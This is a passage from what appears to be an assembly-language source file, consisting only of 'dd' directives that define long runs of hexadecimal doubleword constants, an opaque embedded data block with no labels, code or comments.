0D8BC3D8Eh, 0E8301972h dd 0F8965048h, 615EFB4Dh, 9486D040h, 0F19EFE57h, 0BE707C80h dd 0B90874BDh, 0F20A7891h, 0B000E0D1h, 3EE41BA5h, 50256F81h dd 0B920A054h, 0C40EC900h, 0CB4703F4h, 0C767984h, 0DBF1B672h dd 3F73A820h, 0C8380960h, 81FE509Eh, 0EB1F0B0h, 0DFC1F1D8h dd 0C8C95203h, 79A9AC00h, 8FBC1776h, 0C4B0D912h, 48DE3CB1h dd 7183CCh, 0CBA1FE76h, 9767B25Dh, 8868CCBEh, 0ADD0908h dd 5C30AA9Dh, 6505A046h, 403AEB5Ah, 954FCE8Ch, 2F00F2C4h dd 7A661BD1h, 646D21h, 7883CADEh, 68E46EFh, 1B70A862h dd 0A8AEC8h, 7ADD4309h, 0F28A3BA2h, 0BDD305F4h, 702B92Fh dd 0C062CA84h, 0BA0A5455h, 0B4A7EF24h, 0A2D16504h, 90993896h dd 0F5E5248Bh, 71C4C13Ch, 53347CE7h, 134223Ch, 0FC71CC41h dd 23FAB2B0h, 69D30004h, 1CEC933Fh, 7EEA0005h, 5296F9CFh dd 7BEC80BDh, 7B0EB53Eh, 0A3F6F3Dh, 0A8C6B986h, 0C1006C22h dd 877ABFEAh, 157D362h, 0AE61E080h, 26E93Fh, 30298ACFh dd 6D0D6FBh, 0B70CF3BAh, 20541977h, 67097A44h, 410251E2h dd 80B01D6Fh, 0C4D8CC11h, 12DA23C1h, 0B02B371Fh, 21C0B56Ch dd 87C4E0EFh, 77140C43h, 8319A91Ch, 6447600h, 36A323Eh dd 0D0891D67h, 1E2EC181h, 50952FF4h, 0DB15C4A8h, 5F707106h dd 0A41AD2Dh, 0FF8E0123h, 218507BCh, 7C9879FCh, 4684AD54h dd 2F502D9h, 31F0BC7Bh, 0FCA3100Bh, 13C80002h, 9B63A8AFh dd 8AF86029h, 19C030A3h, 78C194B6h, 0D4AC8F63h, 8F43048h dd 8BC7A02h, 0A6400CC4h, 3B3C02FBh, 0F90B40Eh, 8CE96094h dd 88A4C029h, 1C326236h, 40BEE9C2h, 2DC12Eh, 50D7D945h dd 6B2959AAh, 41947900h, 71D6C213h, 4C9197B4h, 1C01D228h dd 0DC4FAD2Bh, 80CEB3C8h, 36AAFD30h, 8E720CE7h, 0BD68E265h dd 6DE99504h, 7498FEE5h, 0D87108C1h, 3DC4668Ah, 71C95E40h dd 0F400580Bh, 0A370609Fh, 308EBDADh, 0BE58CEB5h, 52594D57h dd 0D9E0C90h, 0B818C8h, 23D2446Ch, 0B44DD124h, 81348097h dd 4A04980h, 19466638h, 0CEC880EEh, 50034509h, 955FBC75h dd 0E1500030h, 10D05D20h, 0C80F63DDh, 60646EFBh, 3F4518A5h dd 0B8C906Dh, 0AFDC47Eh, 0E4576780h, 84D215Eh, 388B15D4h dd 77DE04F4h, 9CC80C09h, 1A041255h, 23383A01h, 32A60301h dd 0CF9842BAh, 4F13779Dh, 0E4080CABh, 2FB084A1h, 0E4C890C5h dd 0B003318h, 0BF4882E3h, 0A4D8CECh, 72EDC912h, 2C521C90h dd 79D0A180h, 7771831h, 9C031B80h, 5EE0A59Eh, 981C9C0h dd 46600898h, 99C3BD80h, 8A250B58h, 1264D38Ah, 397709A9h dd 6DF29420h, 119DC14Dh, 2070EF64h, 0E10201E7h, 0F0978A1h dd 8D346082h, 0ED079505h, 0B8258396h, 27610C04h, 0AA15B642h dd 5C9D008h, 2098CCE8h, 0E760478h, 32D697BCh, 707E2098h dd 2F013C76h, 7A918BB7h, 0AF3095CCh, 24B25CD0h, 499C9200h dd 5BBA5350h, 0ADB87760h, 762DDC54h, 8F932CBCh, 0DB9D8C64h dd 88C87B91h, 1E76C7CAh, 0D967BCC2h, 4E900016h, 0BF735878h dd 404BC07h, 2A8134B4h, 7464CCC7h, 3DC40416h, 330612D0h dd 0C841082Fh, 7DC0B570h, 58BCF376h, 87E09C6Fh, 0C5027675h dd 0B3B98C59h, 0AA04048h, 10724D49h, 32C4CF87h, 0BF31D223h dd 82D7EA11h, 8F5D5C5Ah, 467CC4E5h, 71CB01FCh, 0D0F68ACEh dd 58880E0Ch, 677100B3h, 212A123Dh, 0E0C3E592h, 0A61A88h dd 0B5B06E69h, 75D990E2h, 0D1A0FAEAh, 8DFF4CDh, 0F84D8BBh dd 40BAFCBFh, 4EEF0F72h, 9503045Fh, 0ACF5EAh, 4ACF3F76h dd 0ECD40080h, 6D97E06Ah, 0BA025F28h, 0AE16512Dh, 189C4413h dd 81A4BB09h, 8614BCFBh, 61F0BE81h, 0AA832C78h, 5B4C043Bh dd 666300AEh, 4CE2C15Ah, 0DD1094ABh, 0BCC626DAh, 0E6807111h dd 0AA23C3C4h, 0E5D8448Ch, 0C4CE3Dh, 0F3A22C1h, 5C7A695h dd 42C923FAh, 0A0788891h, 74843F72h, 0BCB984F7h, 61180959h dd 46032917h, 0BB4A430h, 0ADBA0105h, 0E598A68Dh, 6586712Fh dd 0DC883018h, 5C9300E5h, 61E8A8F9h, 3195061Fh, 0A19FB9C0h dd 0C440AB58h, 0D1301B48h, 2329CAC4h, 0ECC08482h, 77C4D9h dd 30CAA4A0h, 0CD1CD401h, 4F610C38h, 0EB911480h, 0FB1B032Bh dd 8496C8CAh, 29CD40E4h, 0B00CD6D1h, 0BC630404h, 448E02Fh dd 2CC88296h, 4D3F10B0h, 2F5C1823h, 1C288C9h, 0B112763h dd 0FCD40DA2h, 0C300C79Ch, 0D075CE10h, 5CDA9EC2h, 4E251073h dd 0F1B6F021h, 5F3E00DDh, 0E95440BDh, 0E0898A1Eh, 5092B4A4h dd 3CC8108Bh, 0DCFCCAC0h, 1694FCD9h, 9C1F2FFh, 0DC468158h dd 0BC489D5Ch, 9E038C0Bh, 8C46F530h, 4A9D681h, 0F272E9FCh dd 0ACF4D047h, 389662D1h, 8619DD00h, 2A7072C0h, 30ACD830h dd 5EB1075Ch, 7D00F1CFh, 9DEF3565h, 3FD675Ah, 0ECBB3AEh dd 0F2801BEAh, 297D63D9h, 0AF0CE57Ch, 481EA157h, 7D8E3D46h dd 0BDA3D06Fh, 590005C2h, 0C818408Dh, 0C4129686h, 90BE1E20h dd 0DBF50A18h, 0D8D76800h, 0A930389Fh, 94821E88h, 0BC664A3Ah dd 0ADB3C094h, 0B9128A57h, 6402D748h, 0A8C13F89h, 0E4899008h dd 918C9709h, 0F64287D7h, 0BB62C0C0h, 6E46192Ah, 0C4BE36C9h dd 0C61E4192h, 0A6D32129h, 726F0F7h, 8502B2Ch, 0E1000C29h dd 1BA4D2CFh, 48BE5008h, 0B9EF000Eh, 1F722BF7h, 741E2EFFh dd 3400990Dh, 0F3ACE9E2h, 68F164ADh, 55848178h, 86BA013Ah dd 0C630E9F6h, 7E007866h, 0A4EE9B64h, 8CE47BE3h, 0D1092AFEh dd 24450726h, 0CE60FB60h, 8A10CD71h, 30C8D0EEh, 71B64380h dd 2E75B285h, 0E00487ECh, 0AEA9D69Ch, 849B88C0h, 2B2D06h dd 42B1925Ah, 0D74FC416h, 7B2660F2h, 467424ABh, 0D46700BFh dd 3FAFD1EEh, 345349B1h, 0BE89AE08h, 0C95C2905h, 5FECE4CDh dd 293167E9h, 0E52914F3h, 0AD08305Ch, 0B8BED640h, 0F30341CCh dd 98E83DD2h, 962E7AB0h dd 5F676089h, 1620B4h, 8C414CDCh, 7309B161h, 230A8D97h dd 1C71B38h, 37FFA7B9h, 0F4D55E13h, 0C9EE8A60h, 2523F939h dd 7D7000C5h, 0EE426AEBh, 449531B7h, 803E8338h, 0E67B10A9h dd 7C48A117h, 2F5DBFh, 93C0A048h, 96535F2h, 5E2A8F7Bh dd 3700D80Ch, 1DFEA788h, 281B7556h, 3BDD0DE0h, 0D104B403h dd 0C129BF7Dh, 23443C73h, 300EB208h, 0BEE41568h, 65F20602h dd 7A32C66Fh, 0CC6D540Ch, 717716B8h, 9B88338h, 90A0C6F2h dd 47220D1h, 0C3EB84A0h, 55F4B4A8h, 0A05984E2h, 0C0C7298Ch dd 902DC589h, 205471C8h, 953CAB8Dh, 93109224h, 4F13FC49h dd 46BEC0A0h, 890FD0Bh, 0C680A9E6h, 0A6C818DBh, 4FEB58F3h dd 0B30F1CBAh, 223EFA59h, 0C2C0CF02h, 0F1D85198h, 0B018D7h dd 0CBCD2123h, 9625C5C7h, 0FBBB3505h, 808977B7h, 44BA7060h dd 191B298Dh, 0D798A83Ah, 51462C72h, 18B3D908h, 5B240FE7h dd 0BB647689h, 985848Eh, 9C5A2E80h, 0C0F05528h, 272E020h dd 0F3EB782Ch, 68516E30h, 7B80B311h, 3FBCF576h, 89C3D742h dd 0F1837673h, 0E0BC64AFh, 0A76483D4h, 6C885C21h, 80890029h dd 569E7C5Fh, 21008C18h, 3999C981h, 497F9772h, 0B62418EEh dd 0A78A0A30h, 1F7A168Ch, 604E1393h, 0C0C4CB3Ch, 11B22323h dd 0D3EE14B4h, 62E604D8h, 0D4C1F173h, 60F6B7F9h, 81AE65F0h dd 0F8221Eh, 3E1D84F3h, 10DEEFDh, 2E2D1CDCh, 693F83BDh dd 13F43C98h, 0E042215Fh, 51CB43F3h, 18B67930h, 0E8972CF8h dd 8B3B0880h, 0B6C8C304h, 21852CD0h, 229E4F70h, 8CA07EA8h dd 36D123C8h, 0C5C5F444h, 8AA81A10h, 3A817064h, 0E4C1B612h dd 9D7A1003h, 45590011h, 8260481Ah, 0E09D0A6h, 65BA3169h dd 608DE4A0h, 0FE4CA23Ch, 7CD40064h, 9EBC8B76h, 149CA311h dd 29346DEh, 0E9CB84F6h, 9394C646h, 32B17810h, 2CD1F82Ch dd 18CB9C13h, 0CEAC509Dh, 1536A0F7h, 94619B6h, 0AEB80861h dd 3221E810h, 78007C94h, 2C3B769Bh, 7847F9F4h, 0D4C3DB20h dd 0E56D26E4h, 0BF467434h, 5CF09F06h, 5A00D90Dh, 6FAA39E4h dd 2C7603Bh, 0F3ADAB80h, 10C7DADDh, 6437C4h, 0F0939AF0h dd 8A040C6Bh, 7BE45961h, 8A8810CEh, 98935DC3h, 0A48CFBAh dd 0C2BCEDFAh, 0E4EB44CCh, 4F005F14h, 77A13E28h, 98A91Dh dd 24079EFBh, 0ABC9D231h, 28610B26h, 8F50F647h, 0FD544FAh dd 60524B8Ch, 0BFF8BBE3h, 1CF480DDh, 7D0BDC85h, 0D015307Ah dd 0B9446874h, 1B4930DCh, 0BD00301Fh, 81D0E2F5h, 4629095h dd 0AFE6D714h, 0BDACA461h, 6E935300h, 0DAD4A50Ah, 4F57DCCh dd 57BA52C8h, 0F9BC8099h, 640063CFh, 9EF8AAA2h, 12F3E1D2h dd 4198C53Eh, 0D8F7D9B4h, 80D828D7h, 447EF023h, 63B503A8h dd 0D18BF718h, 0FAE26AC0h, 0EA81962Dh, 0C82CE3E0h, 243CF2DAh dd 42B0E5B7h, 4227BD3Eh, 0C8D75D22h, 0D2F57Ch, 0CAF9C1D1h dd 6F5EB2B3h, 297BC2E8h, 6806064Fh, 612FEBh, 238FE51Fh dd 0B946D6FBh, 650EC2F6h, 892FAE62h, 0B6E01129h, 76097A18h dd 1C47BCF4h, 72840000h, 1D6A3476h, 0EF76F579h, 9AA0202h dd 0CAD2B708h, 44F047B8h, 0B2060B9h, 0B875018Fh, 0BCF0B2FDh dd 0ED14EC74h, 49A45900h, 18D97363h, 47042C8Ah, 16E02CACh dd 0C18C80F5h, 9D2C1FB9h, 0BD62FCABh, 39D0E4BEh, 4C011E71h dd 0C2F36927h, 6CB2FDD6h, 0EF7E89F4h, 269960BCh, 3B5484B1h dd 5B00DFA4h, 75224478h, 0BB38A2h, 7E4E200Ch, 4D2F3C60h dd 84182A5Fh, 5D9BACD0h, 5EE814ABh, 4DBD6800h, 0B744E6FAh dd 0F8DB5C01h, 2723D184h, 0D032DAD5h, 88349373h, 4623CDC4h dd 0BA227Ah, 28C4D4EBh, 3C998901h, 616E5807h, 0C08CD11Eh dd 20A5415Ch, 3DE1F698h, 0C3E83AACh, 0D80BDC22h, 0FA2F5957h dd 0A54D2104h, 0AC30D00Ah, 8A647E81h, 41F2BA65h, 5C022088h dd 0E766E890h, 0AA2BA004h, 6904BB5Dh, 63833B6h, 0D8822549h dd 2B0C8843h, 0A03BAED1h, 20A36F05h, 0CE18FA0Ch, 9800F346h dd 5296D71Ch, 0DD303FBEh, 86C8802Ch, 680D69F4h, 0C790459h dd 0FAE8EE18h, 0CF368C13h, 80355C08h, 0C10D9D5Eh, 4A1C7B78h dd 0BB7740h, 8616BA6Dh, 32C05D43h, 0AB60585Ah, 0C699C8C0h dd 596AA880h, 0DCB8F4DCh, 55636400h, 848AFD8Eh, 3CBE9A59h dd 0A5122C18h, 0F224B2B0h, 0C5393095h, 3C32FD02h, 0C02C9C62h dd 4BD9Eh, 0D48274BEh, 980594EFh, 39C9470Bh, 7140E0C4h dd 24754824h, 945231Eh, 0C4A38429h, 915A07E1h, 8D23D02Fh dd 5DD62C01h, 0A280AA0Fh, 0ADF21F46h, 112477B7h, 0D3649008h dd 0ED610C45h, 8C7D0EE8h, 0F386200Fh, 307C546Dh, 0D229C71Dh dd 0D000600Ch, 4F337509h, 13A9961h, 0FEE25489h, 30CFDAD8h dd 2D2757B8h, 21C8A238h, 6AD0FADCh, 86019C5h, 0E612CD81h dd 0E5658404h, 0B8898D02h, 833298F0h, 0FC5CD9CEh, 19608h dd 9BA0EE7Dh, 0E900A9FCh, 0D8178DC8h, 1221247Ch, 0C3450DAAh dd 48FE1B48h, 0C05B654Eh, 0CBB6E160h, 0BC90C58h, 0D013F37h dd 0A011141Fh, 0D429E880h, 0F91231D6h, 7CF2D16Dh, 0B295935h dd 8CE4A164h, 910E8921h, 19290F55h, 71C93996h, 0BD00D6E5h dd 988804C9h, 0FEB7161Bh, 23403B01h, 0AC5E00B3h, 0CADE918Bh dd 0AFB9F704h, 10937557h, 0B194A7E9h, 0F3BA0E40h, 66050F9Ah dd 3622D83Fh, 0F87008D0h, 0D3D103F6h, 0A81C898Ah, 0DFFAA807h dd 7792918h, 3C18BD00h, 0EBE52D04h, 1520D03Ch, 0DC0033DDh dd 0BC085D8Ah, 262A2FD6h, 1A80E27Ch, 0C89D8839h, 43809311h dd 982A90B5h, 0FC86BA0Ch, 736680FDh, 918C007Ah, 99022BD6h dd 35500859h, 1E43DDC4h, 0D3DD885Ch, 227081E4h, 6675F103h dd 0C4CA0724h, 654923BFh, 0D2F18098h, 0F0E43EC4h, 51657026h dd 24F27D05h, 8348CB5h, 3C1F88CDh, 841024B0h, 0B50FABA8h dd 0BAC1B33Dh, 0D72FAFC3h, 81AC5A83h, 0A62924h, 4E1A5872h dd 881CCDA2h, 81DE1D58h, 0C6739120h, 0B086329h, 0C05FB98Bh dd 1F1947B4h, 3A4380BCh, 0D1184883h, 0C2AF4C8Dh, 809090C6h dd 4625212Ah, 20F4A20Ch, 0D9E109Dh, 7830AD41h, 101E42F1h dd 0C58EBEC9h, 258B3D91h, 96F842F4h, 0C8904598h, 0F9F04D8Ch dd 10A992FEh, 0E8DB1580h, 387BC880h, 1600FB87h, 0BA0C9EB8h dd 19B65F1h, 1C0B2358h, 22BD08E4h, 0A42C3B80h, 0C1091425h dd 0CFA09927h, 0C7532C10h, 8ABD1F3Eh, 5831AAD8h, 0E94196C4h dd 545C818Ah, 0A6C804BCh, 266301E5h, 0EC60C5B8h, 454586E9h dd 30EAD461h, 0CB1171C0h, 3D88BE8Ah, 71C883BCh, 0E70D8D92h dd 6B1356E0h, 498C4E97h, 7004C8ACh, 0B67D41F2h, 10665177h dd 0E05B022h, 327ED6EAh, 88A3D428h, 4A40D096h, 45042199h dd 0BC099311h, 74208586h, 19429263h, 0C0088A25h, 75EF06C0h dd 372975ACh, 1E6810D0h, 0A46A1211h, 888F6828h, 0B9168C06h dd 0A456967Fh, 81876C30h, 0AD273EC2h, 7C551472h, 0E911CCCDh dd 0B5670091h, 2FAE74D9h, 0ACF9D461h, 11C24939h, 0A59DB8F2h dd 89A4BCA0h, 430FA926h, 14F2B76h, 54294714h, 0FE969ACCh dd 8CC4BCE4h, 6C68F473h, 0BC14C505h, 0DFC57B39h, 4F652828h dd 67589843h, 310E4C00h, 0E0218438h, 5598A23Bh, 0AC9C5C02h dd 46765474h, 0D2880509h, 0D0409782h, 13129F4Eh, 34BE6A2h dd 0EA1EF9DDh, 0AD873F7h, 944E69DCh, 1923EC82h, 8C220DC3h dd 0DEC298E7h, 60D45C89h, 0B19B6B66h, 0E90EBE01h, 7C47B017h dd 0BA273C6Ch, 0E1284CC4h dd 5174D4AAh, 0C9AF1B80h, 0ACA02C59h, 0E623F052h, 71D9C002h dd 61D7FAB5h, 0DCF8DBBCh, 0C3144A3Ch, 997429FCh, 0E28C4C16h dd 0BDF97405h, 7CAF9C40h, 0A07108D1h, 2720A330h, 4C803A6Ah dd 0F9EEBCE2h, 0F491984Eh, 0B8009724h, 0F160EBE7h, 9FA7DCD9h dd 694D0076h, 0C467CA8Ah, 6008DEAh, 0CCD72F2Dh, 4D0DF947h dd 8912B4DBh, 2924C3FCh, 2B9937F8h, 0A4935B0Fh, 10E69302h dd 720AB9E0h, 4E3C0C4Dh, 8475D480h, 9292h, 0C3D2F2CEh dd 58C43C2h, 2C22CA00h, 4D624266h, 0FE57012Ah, 8696FD83h dd 1ED993F3h, 0BDC8B4h, 58F5EF7Ah, 991571DDh, 9CB2E412h dd 0AE228E2h, 817A30h, 71CBB5BCh, 50293330h, 0EC6EAF5Bh dd 4F0FE01h, 1959882h, 2F3B54ADh, 3C233Ch, 206757D3h, 0E90017CAh dd 0B38CCD9Ch, 2E6D2DCCh, 5EC00A36h, 0A11FD746h, 953EC0D8h dd 609FA08Ah, 0D6BD2F09h, 0B394A035h, 126EA52h, 7BCFE43h dd 4861FAD7h, 54034CECh, 0F289C690h, 479AC84Eh, 487313D1h dd 0F11000Dh, 8296275Fh, 0C06C2097h, 39EC8F9h, 11ADDE7h dd 9103C11Eh, 0F580434h, 0B745B897h, 781300C3h, 6A1DA39h dd 707D4384h, 20833327h, 6575CEF8h, 8A900096h, 0CD135474h dd 102E3D79h, 0C802FE51h, 71C509D6h, 1801D91Ch, 737F0047h dd 0C41E9694h, 2218D70Bh, 6A814185h, 977371h, 6D4BD075h dd 0B5EDAF43h, 12C070C9h, 0C3EC8F9Ch, 3A83E4h, 0E177539h dd 41A5AB36h, 35DAC200h, 8DD3FC97h, 0B4F9554Ah, 0B3BC8C6Ch dd 7FBA028Ch, 0F30863DDh, 7366B4B0h, 771F83FEh, 1D8C46F4h dd 4EE39A5h, 0DC6C54B3h, 0BA289057h, 0E1543DB6h, 0D490B19Ch dd 0D7FCB200h, 37529608h, 0E30E269Eh, 0C8BC0760h, 0D072A1A5h dd 0D4902F9Bh, 0B6499114h, 2F2904E0h, 4FD888EBh, 53708F00h dd 28B7F938h, 9E150035h, 52ACABFCh, 249F6308h, 14F80DF8h dd 0B8EF0500h, 0A6192A28h, 0B244DC25h, 5800F848h, 1617F801h dd 3E280CE6h, 0B9288D11h, 0CAF814E2h, 9044F120h, 0CCF858A4h dd 0E409A449h, 40C85C01h, 7400F3ECh, 4CCA05Ah, 58A87EB5h dd 6500BE87h, 0AC8CA5B1h, 0D5067462h, 16D13E34h, 1C8B4CF1h dd 0CBF49924h, 3059E051h, 79002418h, 0DD1BB8FDh, 582DE5E0h dd 0E110D46Eh, 61A9CB31h, 606802C4h, 168CC0B8h, 1C58236Dh dd 0B073DBE8h, 429E9690h, 0C425E4B4h, 30C6004Ch, 3E085603h dd 0F93F1AE1h, 0F0B6825Eh, 483B86C8h, 726DF430h, 0A544984Bh dd 67BAE45Ch, 6B8CB500h, 0BE5624C0h, 28972598h, 0D580D891h dd 9F117B2Ah, 629CA303h, 9F57AE83h, 2DFA2A1h, 3A046460h dd 34039EB0h, 0CF48B915h, 0A2B87053h, 0E17B31B4h, 0BDBED431h dd 2C23C94Bh, 2938E729h, 2A00BFFCh, 0DA8269F3h, 353D9B31h dd 4694842Bh, 7CE89CF2h, 0E88C0AB8h, 0C71B0087h, 617BB05Dh dd 620451DDh, 0CC9D172Dh, 9F00D4B8h, 22E26D9Ah, 0D64EFEC9h dd 1463A0A1h, 7E212309h, 32D05841h, 6C3003D4h, 48947F97h dd 43C0D411h, 0C3AE8038h, 693DBB00h, 0CB34194Eh, 3C2700ABh dd 83F9D21Dh, 0B04AEC21h, 88F0C088h, 46097CBDh, 7AB9418Eh dd 2C192D40h, 1516984Eh, 0A4001077h, 2A02E90Ch, 0CC0495E8h dd 0A4ECC4E1h, 76099B58h, 0D4C62DD5h, 0D0593F44h, 0FAE17C8Fh dd 0CD977BCh, 74828891h, 65DE7602h, 852EA024h, 0B04E06C0h dd 8F073F0Bh, 9FD05AC0h, 7FCA093h, 377569DBh, 763493C6h dd 0CF18EAA8h, 98B00825h, 50A67B54h, 622C00Ch, 898C5C9Ah dd 0B7CC1C4h, 484D8704h, 68D0D621h, 0A1B125EEh, 3E109E94h dd 0CC9EAD47h, 20525C09h, 2FAE782Ch, 0E802B735h, 0F0528396h dd 0E7B6BD02h, 76D0298Ch, 702C0080h, 4D6DF3EFh, 2D788216h dd 0EEBD18C0h, 417B4AFCh, 0D6BCAC28h, 46C6CB5h, 7DF923C1h dd 2A851CE0h, 41E0ABEAh, 54D807A9h, 0D58E423Ch, 94B802B1h dd 3820C850h, 32220C45h, 1EA1E2DBh, 3C004099h, 882A90BDh dd 0D5B4009Bh, 0C348CA43h, 0A5046156h, 350FCE1Bh, 41E04088h dd 53A430ABh, 0AAEA8419h, 198F3D90h, 0D2E6DBC3h, 78B9B0D8h dd 3F896600h, 1D57A652h, 76EA1h, 0C5582CFh, 380C1BC2h dd 0A18CC5BDh, 0FFE5266Ah, 71C2C0D4h, 8E5F8AD9h, 0C3F402Ch dd 178C71CAh, 0B52BCCEh, 784DD0h, 0E486AE61h, 2724232Ch dd 9460CDF9h, 8D0B2187h, 0E5E57CBCh, 60B3E408h, 75BABFh dd 9604FFFBh, 0FC324AD8h, 736A3101h, 91C187Fh, 0B4C82C4Ah dd 0F2319EC0h, 5A2E3E7Ch, 1C113984h, 8D68C8F1h, 4098892Dh dd 39F947B4h, 0DFBDE2h, 965C7218h, 94B484E3h, 8E465Eh dd 38142807h, 20B73C0Ch, 200FC0C9h, 0FFA4249Ch, 480CF824h dd 24B018E6h, 428C3D57h, 50823767h, 68F48E1Ch, 0FF29BE91h dd 183DF9F0h, 0C704074Bh, 11A4DF2Dh, 481DEE72h, 10208188h dd 2A831347h, 4B40D00Bh, 50D2E30h, 0E9582FF4h, 23D82F2Bh dd 47F1038Dh, 3DC0DD16h, 7A4CC49Eh, 83F0928h, 0F9AC0960h dd 180CF198h, 0EB3C0240h, 0D3988111h, 0E251E440h, 0C2BC9182h dd 0A31E5189h, 7A3F1420h, 8B1D0627h, 0E8F131E7h, 83D0F402h dd 5A449818h, 0DCC089D1h, 24002A04h, 35D095A3h, 13CA0BC3h dd 0B094B67Ch, 2B6087F8h, 0DE192238h, 2DD8A12Eh, 0E690046Fh dd 988A3Bh, 59FCC40Eh, 39E046F3h, 5048BDC2h, 3C1421C2h dd 8EBC0B00h, 6400B5B5h, 40087872h, 0D5B6E383h, 341E04E0h dd 0BCD844FDh, 20A38050h, 393E8F0h, 0CF45C051h, 0B116B823h dd 4B30BBAh, 0EF30B4E2h, 0CB5F28Dh, 0CAC92395h, 30F571E1h dd 0E3C19B8h, 0BE7A1245h, 0FC64B006h, 24093D20h, 8F1B5D16h dd 0C12F88C0h, 61BDFFDCh, 20207182h, 0D0F23A80h, 67E35325h dd 603164C0h, 0A387334h, 89B6BB40h, 1F1E85B8h, 465CE43Eh dd 24C004EDh, 209E96A5h, 6302ACD6h, 218A4B73h, 315C7CD8h dd 0EE7CF8h, 12544D8Dh, 455FE9F3h, 0A424F45Ch, 8EEEC448h dd 2093F9F7h, 0D0A13E28h, 0C7BD10E8h, 0E0A9C93Bh, 0E4BC3C68h dd 16BB4600h, 5B981589h, 621D00EAh, 80D3EEEh, 0CF1F7F24h dd 0C0AF2186h, 324D298Ch, 0EB8177EAh, 200D7841h, 808A75ECh dd 0F93E47F8h, 0D8B04B74h, 5D587504h, 32530065h, 22275CFEh dd 0BC90BF9Fh, 6BE3BDC3h, 0BCD50C20h, 40ACBEBAh, 70E54E48h dd 24D01C5Bh, 740C62Ah, 46ECC8BEh, 0EA7632DAh, 8800ACE4h dd 8D275773h, 0BA85CAh, 5F5D252Dh, 58C2EF1Eh, 7508E4B6h dd 687949E5h, 47183B59h, 1640C05h, 0C8802F8Ah, 0B8F4534Eh dd 1DF31128h, 0A2000BCh, 9B45E7DDh, 0C85500C3h, 0EF546CDBh dd 34247B93h, 591E186Ah, 0F5FC01E0h, 4A1C7D2Dh, 5083047h dd 756EEF00h, 0A1F8C90Eh, 0A2191023h, 218B09A7h, 61E86007h dd 71860903h, 0E470A37Ch, 0D8797C99h, 80007318h, 4868798Ch dd 60A5E4Bh, 65AE4695h, 3E1CA0ADh, 68EFB577h, 7C3A5E94h dd 58B3481Ch, 6CB6610h, 0E83C7187h, 0EA543B88h, 9A00B838h dd 59A592C8h, 0E300FBCBh, 60721BC0h, 0CE5D69A8h, 278C8650h dd 7D02D068h, 63A7BF32h, 0F8A37DEEh, 83F9230Dh, 0C9A82884h dd 2058D0B5h, 0BA3F3D59h, 0BFD20AEh, 0BCAA3072h, 71F318C0h dd 44331BF0h, 0C17B115Bh, 303A0E0Dh, 9DBEBAE4h, 5FFC21B5h dd 598454F9h, 0CAC1A6h, 7046CA8h, 0C90C07E3h, 15D034F3h dd 63CC421Eh, 28803DF2h, 77B7C1EEh, 113C3927h, 0BC50BC58h dd 7522C352h, 8E4612A4h, 0A004C4B1h, 76053FCCh, 3FDF932h dd 202FE0E4h dd 0C90301EAh, 0F9319DE9h, 82795EB5h, 98A91A24h, 0A3A16482h dd 0A977B801h, 33C49838h, 4F581445h, 2C2528C2h, 2B882321h dd 0E7A502FCh, 0B9867F3Fh, 0CCAD29C1h, 0D902EA06h, 490129C9h dd 0D09D55B4h, 0B1803191h, 0F03688F2h, 9B778201h, 93318D5h dd 0B9B86078h, 0F88E008Ch, 1E336DE6h, 0C8B0348Fh, 0BF1EC484h dd 61157916h, 74D526F8h, 0A3CFE180h, 1873624Ah, 314884C7h dd 0E000FFE2h, 0CF670F5Fh, 4574CEEh, 0EA4F272Dh, 1234D12Eh dd 167FEC4Bh, 2AD9C503h, 0A0B5ED5Dh, 74BDCDh, 3F2494DCh dd 0C4F4BF69h, 0ECD6FF02h, 560CA7C6h, 0D8465E5Ch, 0EF177600h dd 2FE795FAh, 84736608h, 0C21C803Ah, 0E27709DFh, 9C81571Ch dd 0C40F5980h, 9019CDC5h, 0DAED17E4h, 0A26CF321h, 7503300Ch dd 0AB4B4300h, 8EBB5308h, 0B4D64891h, 0AC5DD49Fh, 4517743Eh dd 0D7A0E5BAh, 45DC75C1h, 0C1A4AC3Ch, 23653FB0h, 82C5DF03h dd 0F0FE2DF8h, 0A712EF01h, 820E9B9h, 9EFF032Bh, 52F95EE3h dd 0B8C8204Eh, 160E003Ch, 614317Eh, 24011B12h, 9CD94A7Dh dd 0F5085D45h, 670062FCh, 7235542Ah, 4B2C4BC9h, 0AD7085C6h dd 30885AFCh, 0A2CF2498h, 45611DEBh, 84E2E566h, 0D43094F0h dd 92E4A4F0h, 0E287590Fh, 8EFF5DD6h, 0E0536206h, 597587Ch dd 4F170FBBh, 9B012D78h, 3D5148F3h, 6F820084h, 298CCE26h dd 12C96B4h, 2E7C5C2Ch, 0A17FC496h, 217C7094h, 3780ACFEh dd 3BDE1720h, 57CF1EBDh, 1690011Fh, 306EA9E9h, 8B39632Ch dd 94BCBF7Eh, 84E422F1h, 0C600AD8Dh, 0B271D123h, 3DB5h dd 0FAF38123h, 0AE05CEA1h, 1C7B9235h, 0B6ACA4h, 16150574h dd 2DBCCD73h, 77541909h, 452002C2h, 92AC72CCh, 42072050h dd 0D83D8424h, 0E0D56E43h, 681DECh, 345E4D0h, 0A9B6BA8Dh dd 0C025C8BAh, 57F4CA54h, 43045037h, 0DA20EA72h, 440EBD8Bh dd 0AA823E8Fh, 6C1850B7h, 644B2C69h, 0A14718B6h, 83E6E9Ch dd 6C01C023h, 0F9F2D148h, 0AA73C443h, 65CC62Bh, 9CE7BFF1h dd 0B618110Ah, 0B3F8C745h, 5AFBF00Eh, 76F0B1BDh, 0D14AB09Ch dd 45A7977h, 0F1DCB785h, 903EAF02h, 82382F23h, 0F53FBD8Eh dd 64BC4804h, 76C09437h, 610F3046h, 0C843312Bh, 949A218Ah dd 0A15D40EAh, 36829600h, 0FBC3DC50h, 706206CBh, 805E6078h dd 354B7B5h, 6E3B7DCCh, 96E1F0A3h, 0D5BC420Fh, 467A1E21h dd 0D8EC4C78h, 7E80008Ch, 67A35A29h, 0CC7733D1h, 919A2112h dd 9B124D2h, 0BE82D8FEh, 0E827292Fh, 4F30D6D0h, 9144EE4h dd 0D0960390h, 13BD8A34h, 0D40EEC9h, 3D39ADBCh, 23D01308h dd 22E478C8h, 0C894AB9Eh, 0CB57887h, 0A76579D0h, 1C62171Ah dd 3A44A212h, 0AE54505Ah, 8F2FB481h, 0AC509D60h, 9F413BC0h dd 0BC01CC1Bh, 898BEC3Eh, 98849CA0h, 8F030683h, 0C08D88ECh dd 0C3959A85h, 6CEC2C00h, 0DACF59BEh, 5889E6EEh, 0FEE89828h dd 0E501AC43h, 0FA9D3BBDh, 0DED8D331h, 109AEDB7h, 68C9044Eh dd 2804902Ah, 0F91323F4h, 8B495B1h, 0C8019D47h, 266CFC7Bh dd 3438E0DCh, 5630266h, 7EFDCE27h, 0DCB856h, 4A30989h dd 